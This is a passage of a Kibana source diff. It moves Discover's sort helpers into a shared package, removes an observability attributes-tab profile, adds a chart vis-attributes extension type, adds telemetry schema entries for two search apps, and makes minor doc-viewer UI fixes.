expect(registry.getAll()).toHaveLength(0); - docViewer.docViewsRegistry(registry); - - expect(registry.getAll()).toHaveLength(1); - - expect(registry.getAll()[0]).toEqual( - expect.objectContaining({ - id: 'doc_view_obs_attributes_overview', - title: 'Attributes', - order: 9, - component: expect.any(Function), - }) - ); - }); - }); -}); - -const buildMockRecord = (index: string, fields: Record = {}) => - buildDataTableRecord({ - _id: '', - _index: index, - fields: { - _index: index, - ...fields, - }, - }); diff --git a/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/sub_profiles/observability_root_profile_with_attributes_tab.ts b/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/sub_profiles/observability_root_profile_with_attributes_tab.ts deleted file mode 100644 index ef59d954ae56d..0000000000000 --- a/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/sub_profiles/observability_root_profile_with_attributes_tab.ts +++ /dev/null @@ -1,23 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the "Elastic License - * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side - * Public License v 1"; you may not use this file except in compliance with, at - * your election, the "Elastic License 2.0", the "GNU Affero General Public - * License v3.0 only", or the "Server Side Public License, v 1". - */ - -import { extendProfileProvider } from '../../../extend_profile_provider'; -import { getDocViewer } from '../accessors/get_doc_viewer'; -import type { ObservabilityRootProfileProvider } from '../types'; - -export const createObservabilityRootProfileProviderWithAttributesTab = ( - observabilityRootProfileProvider: ObservabilityRootProfileProvider -) => - extendProfileProvider(observabilityRootProfileProvider, { - profileId: 'observability-root-profile-with-attributes-tab', - isExperimental: false, - profile: { - getDocViewer, - }, - }); diff --git a/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/register_profile_providers.ts b/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/register_profile_providers.ts index 51b89bfca5f25..322ba5e4e3e3c 100644 --- a/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/register_profile_providers.ts +++ b/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/register_profile_providers.ts @@ -24,13 +24,13 @@ import { createSecurityRootProfileProvider } from './security/security_root_prof import type { ProfileProviderServices } from './profile_provider_services'; import { createProfileProviderServices } from './profile_provider_services'; import type { DiscoverServices } from '../../build_services'; -import { createObservabilityRootProfileProviders } from './observability/observability_root_profile'; import { createTracesDataSourceProfileProvider } from './observability/traces_data_source_profile'; import { createDeprecationLogsDataSourceProfileProvider } from './common/deprecation_logs'; import { createClassicNavRootProfileProvider } from './common/classic_nav_root_profile'; import { createObservabilityDocumentProfileProviders } from './observability/observability_profile_providers'; import { createPatternDataSourceProfileProvider } from './common/patterns'; import { createSecurityDocumentProfileProvider } from './security/security_document_profile'; +import { createObservabilityRootProfileProvider } from './observability/observability_root_profile/profile'; /** * Register profile providers for root, data source, and document contexts to the profile profile services @@ -138,7 +138,7 @@ const createRootProfileProviders = (providerServices: ProfileProviderServices) = createExampleSolutionViewRootProfileProvider(), createClassicNavRootProfileProvider(providerServices), createSecurityRootProfileProvider(providerServices), - ...createObservabilityRootProfileProviders(providerServices), + createObservabilityRootProfileProvider(providerServices), ]; /** diff --git a/src/platform/plugins/shared/discover/public/context_awareness/types.ts b/src/platform/plugins/shared/discover/public/context_awareness/types.ts index bf99ba3787acc..e22c5a8dde6ac 100644 --- a/src/platform/plugins/shared/discover/public/context_awareness/types.ts +++ b/src/platform/plugins/shared/discover/public/context_awareness/types.ts @@ -23,6 +23,7 @@ import type { OmitIndexSignature } from 'type-fest'; import type { Trigger } from '@kbn/ui-actions-plugin/public'; import type { FunctionComponent, PropsWithChildren } from 'react'; import type { DocViewFilterFn } from '@kbn/unified-doc-viewer/types'; +import type { TypedLensByValueInput } from '@kbn/lens-plugin/public'; import type { DiscoverDataSource } from '../../common/data_sources'; import type { DiscoverAppState } from '../application/main/state_management/discover_app_state_container'; import type { DiscoverStateContainer } from '../application/main/state_management/discover_state'; @@ -146,6 +147,16 @@ export interface DefaultAppStateExtension { hideChart?: boolean; } +/** + * Parameters passed to the modified vis attributes extension + */ +export interface ModifiedVisAttributesExtensionParams { + /** + * The vis attributes to modify + */ + attributes: TypedLensByValueInput['attributes']; +} + /** * Parameters passed to the cell renderers extension */ @@ -313,6 +324,18 @@ export interface Profile { Omit & { id: NonNullable } >; + /** + * Chart + */ + + /** + * Allows modifying the default vis attributes used in the Discover chart + * @returns The modified vis attributes to use in the chart + */ + getModifiedVisAttributes: ( + params: ModifiedVisAttributesExtensionParams + ) => TypedLensByValueInput['attributes']; + /** * Data grid */ diff --git a/src/platform/plugins/shared/discover/public/embeddable/components/search_embeddable_grid_component.tsx b/src/platform/plugins/shared/discover/public/embeddable/components/search_embeddable_grid_component.tsx index 18779d467f31e..5ba8059d511b7 100644 --- a/src/platform/plugins/shared/discover/public/embeddable/components/search_embeddable_grid_component.tsx +++ b/src/platform/plugins/shared/discover/public/embeddable/components/search_embeddable_grid_component.tsx @@ -11,7 +11,11 @@ import React, { useMemo } from 'react'; import type { BehaviorSubject } from 'rxjs'; import type { DataView } from '@kbn/data-views-plugin/common'; -import { DOC_HIDE_TIME_COLUMN_SETTING, SORT_DEFAULT_ORDER_SETTING } from '@kbn/discover-utils'; +import { + DOC_HIDE_TIME_COLUMN_SETTING, + SORT_DEFAULT_ORDER_SETTING, + getSortArray, +} from '@kbn/discover-utils'; import type { FetchContext } from '@kbn/presentation-publishing'; import { useBatchedPublishingSubjects } from '@kbn/presentation-publishing'; import type { SortOrder } from '@kbn/saved-search-plugin/public'; @@ -22,7 +26,6 @@ import type { DocViewFilterFn } from '@kbn/unified-doc-viewer/types'; import type { DiscoverGridSettings } from '@kbn/saved-search-plugin/common'; import useObservable from 'react-use/lib/useObservable'; import { useDiscoverServices } from '../../hooks/use_discover_services'; -import { getSortForEmbeddable } from '../../utils/sorting'; import { getAllowedSampleSize, getMaxAllowedSampleSize } from '../../utils/get_allowed_sample_size'; import { SEARCH_EMBEDDABLE_CELL_ACTIONS_TRIGGER_ID } from '../constants'; import { isEsqlMode } from '../initialize_fetch'; @@ -96,9 +99,10 @@ export function SearchEmbeddableGridComponent({ const isEsql = useMemo(() => isEsqlMode(savedSearch), [savedSearch]); - const sort = useMemo(() => { - return getSortForEmbeddable(savedSearch.sort, dataView, discoverServices.uiSettings, isEsql); - }, [savedSearch.sort, dataView, isEsql, discoverServices.uiSettings]); + const sort = useMemo( + () => getSortArray(savedSearch.sort ?? [], dataView, isEsql), + [dataView, isEsql, savedSearch.sort] + ); const originalColumns = useMemo(() => savedSearch.columns ?? [], [savedSearch.columns]); @@ -199,23 +203,19 @@ export function SearchEmbeddableGridComponent({ const defaults = getSearchEmbeddableDefaults(discoverServices.uiSettings); - const sharedProps = { - columns, - dataView, - interceptedWarnings, - onFilter: onAddFilter, - rows, - rowsPerPageState: savedSearch.rowsPerPage ?? defaults.rowsPerPage, - sampleSizeState: fetchedSampleSize, - searchDescription: panelDescription || savedSearchDescription, - sort, - totalHitCount, - }; - return ( { const timeRange = diff --git a/src/platform/plugins/shared/discover/public/utils/get_sharing_data.ts b/src/platform/plugins/shared/discover/public/utils/get_sharing_data.ts index 5b46744a633cd..448ba97c00620 100644 --- a/src/platform/plugins/shared/discover/public/utils/get_sharing_data.ts +++ b/src/platform/plugins/shared/discover/public/utils/get_sharing_data.ts @@ -18,12 +18,12 @@ import type { Filter } from '@kbn/es-query'; import type { SavedSearch, SortOrder } from '@kbn/saved-search-plugin/public'; import { DOC_HIDE_TIME_COLUMN_SETTING, + getSortForSearchSource, isNestedFieldParent, SORT_DEFAULT_ORDER_SETTING, } from '@kbn/discover-utils'; import type { DiscoverAppState } from '../application/main/state_management/discover_app_state_container'; import { isEqualFilters } from '../application/main/state_management/discover_app_state_container'; -import { getSortForSearchSource } from './sorting'; /** * Preparing data to share the current state as link or CSV/Report diff --git a/src/platform/plugins/shared/discover/public/utils/sorting/get_sort.test.ts b/src/platform/plugins/shared/discover/public/utils/sorting/get_sort.test.ts deleted file mode 100644 index e62da72b7e204..0000000000000 --- a/src/platform/plugins/shared/discover/public/utils/sorting/get_sort.test.ts +++ /dev/null @@ -1,69 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the "Elastic License - * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side - * Public License v 1"; you may not use this file except in compliance with, at - * your election, the "Elastic License 2.0", the "GNU Affero General Public - * License v3.0 only", or the "Server Side Public License, v 1". - */ - -import { getSortForEmbeddable } from './get_sort'; -import { - stubDataView, - stubDataViewWithoutTimeField, -} from '@kbn/data-views-plugin/common/data_view.stub'; -import { uiSettingsMock } from '../../__mocks__/ui_settings'; - -describe('getSortForEmbeddable', function () { - describe('getSortForEmbeddable function', function () { - test('should return an array of arrays for sortable fields', function () { - expect(getSortForEmbeddable([['bytes', 'desc']], stubDataView, undefined, false)).toEqual([ - ['bytes', 'desc'], - ]); - expect(getSortForEmbeddable([['bytes', 'desc']], stubDataView, undefined, true)).toEqual([ - ['bytes', 'desc'], - ]); - }); - - test('should return an array of arrays from an array of elasticsearch sort objects', function () { - expect(getSortForEmbeddable([{ bytes: 'desc' }], stubDataView, undefined, false)).toEqual([ - ['bytes', 'desc'], - ]); - }); - - test('should sort by an empty array when an unsortable field is given', function () { - expect( - getSortForEmbeddable([{ 'non-sortable': 'asc' }], stubDataView, undefined, false) - ).toEqual([]); - expect( - getSortForEmbeddable([{ 'non-sortable': 'asc' }], stubDataView, undefined, true) - ).toEqual([['non-sortable', 'asc']]); - expect(getSortForEmbeddable([{ lol_nope: 'asc' }], stubDataView, undefined, false)).toEqual( - [] - ); - expect( - getSortForEmbeddable( - [{ 'non-sortable': 'asc' }], - stubDataViewWithoutTimeField, - undefined, - false - ) - ).toEqual([]); - }); - - test('should return an empty array when passed an empty sort array', () => { - expect(getSortForEmbeddable([], stubDataView, undefined, false)).toEqual([]); - expect(getSortForEmbeddable([], stubDataView, undefined, true)).toEqual([]); - expect(getSortForEmbeddable([], stubDataViewWithoutTimeField, undefined, false)).toEqual([]); - }); - - test('should provide fallback results', () => { - expect(getSortForEmbeddable(undefined, undefined, undefined, false)).toEqual([]); - expect(getSortForEmbeddable(undefined, stubDataView, undefined, false)).toEqual([]); - expect(getSortForEmbeddable(undefined, stubDataView, uiSettingsMock, false)).toEqual([ - ['@timestamp', 'desc'], - ]); - expect(getSortForEmbeddable(undefined, stubDataView, uiSettingsMock, true)).toEqual([]); - }); - }); -}); diff --git a/src/platform/plugins/shared/discover/public/utils/sorting/get_sort.ts b/src/platform/plugins/shared/discover/public/utils/sorting/get_sort.ts deleted file mode 100644 index 8aecb1b1c623c..0000000000000 --- a/src/platform/plugins/shared/discover/public/utils/sorting/get_sort.ts +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the "Elastic License - * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side - * Public License v 1"; you may not use this file except in compliance with, at - * your election, the "Elastic License 2.0", the "GNU Affero General Public - * License v3.0 only", or the "Server Side Public License, v 1". - */ - -import type { DataView } from '@kbn/data-views-plugin/common'; -import type { IUiSettingsClient } from '@kbn/core/public'; -import type { SortOrder } from '@kbn/saved-search-plugin/public'; -import { DOC_HIDE_TIME_COLUMN_SETTING, SORT_DEFAULT_ORDER_SETTING } from '@kbn/discover-utils'; -import type { SortInput } from '../../../common/utils/sorting'; -import { getDefaultSort, getSortArray } from '../../../common/utils/sorting'; - -/** - * sorting for embeddable, like getSortArray,but returning a default in the case the given sort or dataView is not valid - */ -export function getSortForEmbeddable( - sort: SortInput | undefined, - dataView: DataView | undefined, - uiSettings: IUiSettingsClient | undefined, - isEsqlMode: boolean -): SortOrder[] { - if (!sort || !sort.length || !dataView) { - if (!uiSettings) { - return []; - } - const defaultSortOrder = uiSettings.get(SORT_DEFAULT_ORDER_SETTING, 'desc'); - const hidingTimeColumn = uiSettings.get(DOC_HIDE_TIME_COLUMN_SETTING, false); - return getDefaultSort(dataView, defaultSortOrder, hidingTimeColumn, isEsqlMode); - } - return getSortArray(sort, dataView, isEsqlMode); -} diff --git a/src/platform/plugins/shared/discover/public/utils/sorting/index.ts b/src/platform/plugins/shared/discover/public/utils/sorting/index.ts deleted file mode 100644 index 8ddd14545c4f7..0000000000000 --- a/src/platform/plugins/shared/discover/public/utils/sorting/index.ts +++ /dev/null @@ -1,14 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the "Elastic License - * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side - * Public License v 1"; you may not use this file except in compliance with, at - * your election, the "Elastic License 2.0", the "GNU Affero General Public - * License v3.0 only", or the "Server Side Public License, v 1". - */ - -export { getDefaultSort } from '../../../common/utils/sorting/get_default_sort'; -export { getSort, getSortArray } from '../../../common/utils/sorting/get_sort'; -export type { SortPair } from '../../../common/utils/sorting/get_sort'; -export { getSortForSearchSource } from '../../../common/utils/sorting/get_sort_for_search_source'; -export { getSortForEmbeddable } from './get_sort'; diff --git a/src/platform/plugins/shared/discover/server/locator/searchsource_from_locator.ts b/src/platform/plugins/shared/discover/server/locator/searchsource_from_locator.ts index 20061ce1e4453..85ddde6ab28e9 100644 --- a/src/platform/plugins/shared/discover/server/locator/searchsource_from_locator.ts +++ b/src/platform/plugins/shared/discover/server/locator/searchsource_from_locator.ts @@ -12,10 +12,9 @@ import type { DataView } from '@kbn/data-views-plugin/common'; import type { AggregateQuery, Filter, Query } from '@kbn/es-query'; import type { SavedSearch } from '@kbn/saved-search-plugin/common'; import { getSavedSearch } from '@kbn/saved-search-plugin/server'; -import { SORT_DEFAULT_ORDER_SETTING } from '@kbn/discover-utils'; +import { SORT_DEFAULT_ORDER_SETTING, getSortForSearchSource } from '@kbn/discover-utils'; import type { LocatorServicesDeps } from '.'; import type { DiscoverAppLocatorParams } from '../../common'; -import { getSortForSearchSource } from '../../common/utils/sorting'; import { getColumns } from './columns_from_locator'; // Shortcut for return type of searchSource.getField('filter'); diff --git a/src/platform/plugins/shared/esql/public/triggers/esql_controls/control_flyout/shared_form_components.tsx b/src/platform/plugins/shared/esql/public/triggers/esql_controls/control_flyout/shared_form_components.tsx index 5ec2d59b66833..fee881b2ae754 100644 --- a/src/platform/plugins/shared/esql/public/triggers/esql_controls/control_flyout/shared_form_components.tsx +++ b/src/platform/plugins/shared/esql/public/triggers/esql_controls/control_flyout/shared_form_components.tsx @@ -130,6 +130,7 @@ export function ControlType({ fullWidth isDisabled={isDisabled} compressed + isClearable={false} data-test-subj="esqlControlTypeDropdown" inputPopoverProps={{ 'data-test-subj': 'esqlControlTypeInputPopover', diff --git a/src/platform/plugins/shared/kibana_utils/common/index.ts b/src/platform/plugins/shared/kibana_utils/common/index.ts index d7be4c2159d0e..71e57a672780c 100644 --- a/src/platform/plugins/shared/kibana_utils/common/index.ts +++ b/src/platform/plugins/shared/kibana_utils/common/index.ts @@ -38,6 +38,7 @@ export { useContainerSelector, useContainerState, createStateContainer, + defaultFreeze, } from './state_containers'; export type { KibanaServerError } from './errors'; export { diff --git a/src/platform/plugins/shared/kibana_utils/common/state_containers/create_state_container.ts b/src/platform/plugins/shared/kibana_utils/common/state_containers/create_state_container.ts index c06eecb2849c2..27ebc952af959 100644 --- a/src/platform/plugins/shared/kibana_utils/common/state_containers/create_state_container.ts +++ b/src/platform/plugins/shared/kibana_utils/common/state_containers/create_state_container.ts @@ -26,7 +26,7 @@ const isProduction = ? process.env.NODE_ENV === 'production' : !process.env.NODE_ENV || process.env.NODE_ENV === 'production'; -const defaultFreeze: (value: T) => T = isProduction +export const defaultFreeze: (value: T) => T = isProduction ? (value: T) => value as T : (value: T): T => { const isFreezable = value !== null && typeof value === 'object'; diff --git a/src/platform/plugins/shared/kibana_utils/common/state_containers/index.ts b/src/platform/plugins/shared/kibana_utils/common/state_containers/index.ts index bd14eb47fb010..34bbf935b6259 100644 --- a/src/platform/plugins/shared/kibana_utils/common/state_containers/index.ts +++ b/src/platform/plugins/shared/kibana_utils/common/state_containers/index.ts @@ -41,7 +41,7 @@ export type { export type { CreateStateContainerOptions } from './create_state_container'; -export { createStateContainer } from './create_state_container'; +export { createStateContainer, defaultFreeze } from './create_state_container'; export { createStateContainerReactHelpers, diff --git a/src/platform/plugins/shared/navigation/common/constants.ts b/src/platform/plugins/shared/navigation/common/constants.ts index 74f75fce4c2b4..3f10e15eeec47 100644 --- a/src/platform/plugins/shared/navigation/common/constants.ts +++ b/src/platform/plugins/shared/navigation/common/constants.ts @@ -11,7 +11,7 @@ export const DEFAULT_ROUTE_UI_SETTING_ID = 'defaultRoute'; export const DEFAULT_ROUTES = { classic: '/app/home', - es: '/app/elasticsearch/overview', + es: '/app/elasticsearch/home', oblt: '/app/observabilityOnboarding', security: '/app/security/get_started', chat: '/app/workchat', diff --git a/src/platform/plugins/shared/saved_search/common/types.ts b/src/platform/plugins/shared/saved_search/common/types.ts index 9e98413448ef3..965787b86568b 100644 --- a/src/platform/plugins/shared/saved_search/common/types.ts +++ b/src/platform/plugins/shared/saved_search/common/types.ts @@ -17,6 +17,7 @@ import type { SavedObjectReference } from '@kbn/core-saved-objects-server'; import type { SavedObjectsResolveResponse } from '@kbn/core/server'; import type { SerializableRecord } from '@kbn/utility-types'; import type { DataGridDensity } from '@kbn/unified-data-table'; +import type { SortOrder } from '@kbn/discover-utils'; import type { VIEW_MODE } from '.'; export interface DiscoverGridSettings extends SerializableRecord { @@ -71,7 +72,7 @@ export interface SavedSearchAttributes { } /** @internal **/ -export type SortOrder = [string, string]; +export type { SortOrder } from '@kbn/discover-utils'; /** @public **/ export type SavedSearch = Partial & { diff --git a/src/platform/plugins/shared/saved_search/tsconfig.json b/src/platform/plugins/shared/saved_search/tsconfig.json index 2305bdef2b830..0d4132a2cbfce 100644 --- a/src/platform/plugins/shared/saved_search/tsconfig.json +++ b/src/platform/plugins/shared/saved_search/tsconfig.json @@ -29,6 +29,7 @@ "@kbn/search-types", "@kbn/unified-data-table", "@kbn/core-saved-objects-api-server", + "@kbn/discover-utils", ], "exclude": ["target/**/*"] } diff --git a/src/platform/plugins/shared/telemetry/schema/oss_platform.json b/src/platform/plugins/shared/telemetry/schema/oss_platform.json index ff7e702c05ab4..478ab350b6a01 100644 --- a/src/platform/plugins/shared/telemetry/schema/oss_platform.json +++ b/src/platform/plugins/shared/telemetry/schema/oss_platform.json @@ -2491,6 +2491,137 @@ } } }, + "searchQueryRules": { + "properties": { + "appId": { + "type": "keyword", + "_meta": { + "description": "The application being tracked" + } + }, + "viewId": { + "type": "keyword", + "_meta": { + "description": "Always `main`" + } + }, + "clicks_total": { + "type": "long", + "_meta": { + "description": "General number of clicks in the application since we started counting them" + } + }, + "clicks_7_days": { + "type": "long", + "_meta": { + "description": "General number of clicks in the application over the last 7 days" + } + }, + "clicks_30_days": { + "type": "long", + "_meta": { + "description": "General number of clicks in the application over the last 30 days" + } + }, + "clicks_90_days": { + "type": "long", + "_meta": { + "description": "General number of clicks in the application over the last 90 days" + } + }, + "minutes_on_screen_total": { + "type": "float", + "_meta": { + "description": "Minutes the application is active and on-screen since we started counting them." + } + }, + "minutes_on_screen_7_days": { + "type": "float", + "_meta": { + "description": "Minutes the application is active and on-screen over the last 7 days" + } + }, + "minutes_on_screen_30_days": { + "type": "float", + "_meta": { + "description": "Minutes the application is active and on-screen over the last 30 days" + } + }, + "minutes_on_screen_90_days": { + "type": "float", + "_meta": { + "description": "Minutes the application is active and on-screen over the last 90 days" + } + }, + "views": { + "type": "array", + "items": { + "properties": { + "appId": { + "type": "keyword", + "_meta": { + "description": "The application being tracked" + } + }, + "viewId": { + "type": "keyword", + "_meta": { + "description": "The application view being tracked" + } + }, + "clicks_total": { + "type": "long", + "_meta": { + "description": "General number of clicks in the application sub view since we started counting them" + } + }, + "clicks_7_days": { + "type": "long", + "_meta": { + "description": "General number of clicks in the active application sub view over the last 7 days" + } + }, + "clicks_30_days": { + "type": "long", + "_meta": { + "description": "General number of clicks in the active application sub view over the last 30 days" + } + }, + "clicks_90_days": { + "type": "long", + "_meta": { + "description": "General number of clicks in the active application sub view over the last 90 days" + } + }, + "minutes_on_screen_total": { + "type": "float", + "_meta": { + "description": "Minutes the application sub view is active and on-screen since we started counting them." + } + }, + "minutes_on_screen_7_days": { + "type": "float", + "_meta": { + "description": "Minutes the application is active and on-screen active application sub view over the last 7 days" + } + }, + "minutes_on_screen_30_days": { + "type": "float", + "_meta": { + "description": "Minutes the application is active and on-screen active application sub view over the last 30 days" + } + }, + "minutes_on_screen_90_days": { + "type": "float", + "_meta": { + "description": "Minutes the application is active and on-screen active application sub view over the last 90 days" + } + } + } + } + } + } + }, "elasticsearchIndices": { "properties": { "appId": { @@ -3932,6 +4063,137 @@ } } }, + "searchHomepage": { + "properties": { + "appId": { + "type": "keyword", + "_meta": { + "description": "The application being tracked" + } + }, + "viewId": { + "type": "keyword", + "_meta": { + "description": "Always `main`" + } + }, + "clicks_total": { + "type": "long", + "_meta": { + "description": "General number of clicks in the application since we started counting them" + } + }, + "clicks_7_days": { + "type": "long", + "_meta": { + "description": "General number of clicks in the application over the last 7 days" + } + }, + "clicks_30_days": { + "type": "long", + "_meta": { + "description": "General number of clicks in the application over the last 30 days" + } + }, + "clicks_90_days": { + "type": "long", + "_meta": { + "description": "General number of clicks in the application over the last 90 days" + } + }, + "minutes_on_screen_total": { + "type": "float", + "_meta": { + "description": "Minutes the application is active and on-screen since we started counting them." + } + }, + "minutes_on_screen_7_days": { + "type": "float", + "_meta": { + "description": "Minutes the application is active and on-screen over the last 7 days" + } + }, + "minutes_on_screen_30_days": { + "type": "float", + "_meta": { + "description": "Minutes the application is active and on-screen over the last 30 days" + } + }, + "minutes_on_screen_90_days": { + "type": "float", + "_meta": { + "description": "Minutes the application is active and on-screen over the last 90 days" + } + }, + "views": { + "type": "array", + "items": { + "properties": { + "appId": { + "type": "keyword", + "_meta": { + "description": "The application being tracked" + } + }, + "viewId": { + "type": "keyword", + "_meta": { + "description": "The application view being tracked" + } + }, + "clicks_total": { + "type": "long", + "_meta": { + "description": "General number of clicks in the application sub view since we started counting them" + } + }, + "clicks_7_days": { + "type": "long", + "_meta": { + "description": "General number of clicks in the active application sub view over the last 7 days" + } + }, + "clicks_30_days": { + "type": "long", + "_meta": { + "description": "General number of clicks in the active application sub view over the last 30 days" + } + }, + "clicks_90_days": { + "type": "long", + "_meta": { + "description": "General number of clicks in the active application sub view over the last 90 days" + } + }, + "minutes_on_screen_total": { + "type": "float", + "_meta": { + "description": "Minutes the application sub view is active and on-screen since we started counting them." + } + }, + "minutes_on_screen_7_days": { + "type": "float", + "_meta": { + "description": "Minutes the application is active and on-screen active application sub view over the last 7 days" + } + }, + "minutes_on_screen_30_days": { + "type": "float", + "_meta": { + "description": "Minutes the application is active and on-screen active application sub view over the last 30 days" + } + }, + "minutes_on_screen_90_days": { + "type": "float", + "_meta": { + "description": "Minutes the application is active and on-screen active application sub view over the last 90 days" + } + } + } + } + } + } + }, "graph": { "properties": { "appId": { diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/components/doc_viewer_flyout/doc_viewer_flyout.tsx b/src/platform/plugins/shared/unified_doc_viewer/public/components/doc_viewer_flyout/doc_viewer_flyout.tsx index f6c656f8a03e4..75835559cd1d4 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/components/doc_viewer_flyout/doc_viewer_flyout.tsx +++ b/src/platform/plugins/shared/unified_doc_viewer/public/components/doc_viewer_flyout/doc_viewer_flyout.tsx @@ -158,6 +158,13 @@ export function UnifiedDocViewerFlyout({ return; } + const isResizableButton = + (ev.target as HTMLElement).getAttribute('data-test-subj') === 'euiResizableButton'; + if (isResizableButton) { + // ignore events triggered when the resizable button is focused + return; + } + if (ev.key === keys.ARROW_LEFT || ev.key === keys.ARROW_RIGHT) { ev.preventDefault(); ev.stopPropagation(); diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/components/doc_viewer_table/table_cell_value.tsx b/src/platform/plugins/shared/unified_doc_viewer/public/components/doc_viewer_table/table_cell_value.tsx index b513fde033b31..7ed3611df0210 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/components/doc_viewer_table/table_cell_value.tsx +++ b/src/platform/plugins/shared/unified_doc_viewer/public/components/doc_viewer_table/table_cell_value.tsx @@ -16,6 +16,7 @@ import { EuiTextColor, EuiToolTip, useResizeObserver, + euiFontSize, type UseEuiTheme, } from '@elastic/eui'; import React, { Fragment, useCallback, useState } from 'react'; @@ -200,8 +201,11 @@ export const TableFieldValue = ({ }; const componentStyles = { - docViewerValue: ({ euiTheme }: UseEuiTheme) => - css({ + docViewerValue: (themeContext: UseEuiTheme) => { + const { euiTheme } = themeContext; + const { fontSize } = euiFontSize(themeContext, 's'); + + return css({ wordBreak: 'break-all', wordWrap: 'break-word', whiteSpace: 'pre-wrap', @@ -209,9 +213,10 @@ const componentStyles = { verticalAlign: 'top', '.euiDataGridRowCell__popover &': { - fontSize: euiTheme.font.scale.s, + fontSize, }, - }), + }); + }, docViewerValueHighlighted: ({ euiTheme }: UseEuiTheme) => css({ fontWeight: euiTheme.font.weight.bold, diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/field_with_actions/field_hover_popover_action.tsx b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/field_with_actions/field_hover_popover_action.tsx index da598392136f4..3b7f927b4ee9a 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/field_with_actions/field_hover_popover_action.tsx +++ b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/field_with_actions/field_hover_popover_action.tsx @@ -17,11 +17,13 @@ import { PopoverAnchorPosition, type EuiPopoverProps, } from '@elastic/eui'; +import { DataViewField } from '@kbn/data-views-plugin/common'; import { useUIFieldActions } from '../../../../../hooks/use_field_actions'; interface HoverPopoverActionProps { children: React.ReactChild; field: string; + fieldMapping?: DataViewField; value: unknown; formattedValue?: string; title: string; @@ -33,6 +35,7 @@ export const FieldHoverActionPopover = ({ children, title, field, + fieldMapping: mapping, value, formattedValue, anchorPosition = 'upCenter', @@ -40,7 +43,7 @@ export const FieldHoverActionPopover = ({ }: HoverPopoverActionProps) => { const [isPopoverOpen, setIsPopoverOpen] = useState(false); const leaveTimer = useRef(null); - const uiFieldActions = useUIFieldActions({ field, value, formattedValue }); + const uiFieldActions = useUIFieldActions({ field, value, formattedValue, mapping }); const clearTimeoutIfExists = () => { if (leaveTimer.current) { diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/field_with_actions/field_with_actions.tsx b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/field_with_actions/field_with_actions.tsx index 7b5eb563750ba..fb9c28d00f45f 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/field_with_actions/field_with_actions.tsx +++ b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/field_with_actions/field_with_actions.tsx @@ -10,11 +10,13 @@ import { EuiFlexGroup, EuiFlexItem, EuiIconTip, EuiLoadingSpinner, EuiTitle } from '@elastic/eui'; import React from 'react'; import { PartialFieldMetadataPlain } from '@kbn/fields-metadata-plugin/common'; +import { DataViewField } from '@kbn/data-views-plugin/common'; import { FieldHoverActionPopover } from './field_hover_popover_action'; export interface FieldWithActionsProps { field: string; fieldMetadata?: PartialFieldMetadataPlain; + fieldMapping?: DataViewField; formattedValue: string; label: string; value: string; @@ -26,6 +28,7 @@ export interface FieldWithActionsProps { export function FieldWithActions({ field, fieldMetadata, + fieldMapping, formattedValue, label, value, @@ -72,7 +75,12 @@ export function FieldWithActions({ {showActions ? ( - + {fieldContent} ) : ( diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/full_screen_waterfall/helpers/is_span.test.ts b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/full_screen_waterfall/helpers/is_span.test.ts index 945cef927bbad..f7990d6d6b103 100644 --- a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/full_screen_waterfall/helpers/is_span.test.ts +++ b/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/full_screen_waterfall/helpers/is_span.test.ts @@ -7,7 +7,7 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import { OTEL_SPAN_KIND, PROCESSOR_EVENT_FIELD, DataTableRecord } from '@kbn/discover-utils'; +import { PROCESSOR_EVENT_FIELD, DataTableRecord } from '@kbn/discover-utils'; import { isSpanHit } from './is_span'; describe('isSpanHit', () => { @@ -19,17 +19,6 @@ describe('isSpanHit', () => { expect(isSpanHit(hit)).toBe(false); }); - it('returns true for an OTEL span (spanKind is present)', () => { - const hit = { - flattened: { - [OTEL_SPAN_KIND]: 'client', - [PROCESSOR_EVENT_FIELD]: 'span', - }, - } as unknown as DataTableRecord; - - expect(isSpanHit(hit)).toBe(true); - }); - it('returns true when processorEvent is null (OTEL fallback)', () => { const hit = { flattened: { @@ -50,11 +39,10 @@ describe('isSpanHit', () => { expect(isSpanHit(hit)).toBe(true); }); - it('returns false when processorEvent is not "span" and spanKind is null', () => { + it('returns false when processorEvent is not "span" ', () => { const hit = { flattened: { [PROCESSOR_EVENT_FIELD]: 'transaction', - [OTEL_SPAN_KIND]: null, }, } as unknown as DataTableRecord; diff --git a/src/platform/plugins/shared/unified_doc_viewer/public/components/observability/traces/components/full_screen_waterfall/helpers/is_span.ts 